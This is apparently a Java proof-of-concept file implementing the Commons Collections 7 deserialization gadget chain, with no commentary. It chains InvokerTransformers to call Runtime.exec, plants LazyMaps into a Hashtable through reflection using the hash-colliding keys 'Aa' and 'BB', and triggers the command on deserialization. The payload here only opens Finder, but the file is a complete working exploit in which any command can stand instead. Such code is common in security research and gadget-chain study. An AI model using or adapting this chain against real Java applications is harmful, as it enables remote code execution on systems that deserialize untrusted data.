package cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Finder"})
        });

        Map innerMap = new HashMap();
        innerMap.put("Aa", 1);
        Map innerMap2 = new HashMap();
        innerMap2.put("BB", 1);
        Map lazyMap = LazyMap.decorate(innerMap, chain);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chain);

        Hashtable hashtable = new Hashtable();
        hashtable.put("Aa", 1);
        hashtable.put("BB", 1);

        Field table = Hashtable.class.getDeclaredField("table");
        table.setAccessible(true);
        Object[] objs = (Object[]) table.get(hashtable);
        Field key = objs[0].getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(objs[0], lazyMap);

        Field next = objs[0].getClass().getDeclaredField("next");
        next.setAccessible(true);
        Object obj1 = next.get(objs[0]);
        Field key1 = obj1.getClass().getDeclaredField("key");
        key1.setAccessible(true);
        key1.set(obj1, lazyMap2);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(hashtable);
        new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject();
    }
}
